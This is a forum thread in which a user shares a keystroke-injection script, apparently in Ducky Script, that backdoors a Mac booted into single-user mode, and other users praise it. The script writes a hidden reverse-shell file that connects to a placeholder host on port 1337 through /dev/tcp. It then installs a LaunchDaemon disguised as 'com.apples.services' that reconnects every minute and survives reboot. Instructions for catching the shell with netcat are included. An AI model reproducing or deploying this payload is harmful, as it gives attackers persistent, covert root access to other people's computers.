[Payload] OSX Single User Mode Backdoor

[mosca1337]

Hey everyone! I wrote a quick and dirty script that'll root Macs from single user mode. There are practically no defenses to this besides full disk encryption. I challenge you to try it out if you have free time. You won't be disappointed. Grab the payload here. Also, I wrote a quick tutorial that describes the ins and outs of the attack here. (site is new and heavily under construction lol)

REM Patrick Mosca
REM A simple script for rooting OSX from single user mode.
REM Change mysite.com to your domain name or IP address
REM Change 1337 to your port number
REM Catch the shell with 'nc -l -p 1337'
REM http://patrickmosca.com/root-a-mac-in-10-seconds-or-less/
DELAY 1000
STRING mount -uw /
ENTER
DELAY 2000
STRING mkdir /Library/.hidden
ENTER
DELAY 200
STRING echo '#!/bin/bash
ENTER
STRING bash -i >& /dev/tcp/mysite.com/1337 0>&1
ENTER
STRING wait' > /Library/.hidden/connect.sh
ENTER
DELAY 500
STRING chmod +x /Library/.hidden/connect.sh
ENTER
DELAY 200
STRING mkdir /Library/LaunchDaemons
ENTER
DELAY 200
STRING echo '<plist version="1.0">
ENTER
STRING <dict>
ENTER
STRING <key>Label</key>
ENTER
STRING <string>com.apples.services</string>
ENTER
STRING <key>ProgramArguments</key>
ENTER
STRING <array>
ENTER
STRING <string>/bin/sh</string>
ENTER
STRING <string>/Library/.hidden/connect.sh</string>
ENTER
STRING </array>
ENTER
STRING <key>RunAtLoad</key>
ENTER
STRING <true/>
ENTER
STRING <key>StartInterval</key>
ENTER
STRING <integer>60</integer>
ENTER
STRING <key>AbandonProcessGroup</key>
ENTER
STRING <true/>
ENTER
STRING </dict>
ENTER
STRING </plist>' > /Library/LaunchDaemons/com.apples.services.plist
ENTER
DELAY 500
STRING chmod 600 /Library/LaunchDaemons/com.apples.services.plist
ENTER
DELAY 200
STRING launchctl load /Library/LaunchDaemons/com.apples.services.plist
ENTER
DELAY 1000
STRING shutdown -h now
ENTER

[kmichael500]

This is awesome! It works very well. Thanks for sharing this.

[mosca1337]

I had a lot of fun making it. Glad you like it!

[mosca1337]

If I remember correctly, I think I tried something similar to this. I believe that once you catch the reverse shell and then close the session, the script is killed. Then you may not ever receive another reverse shell.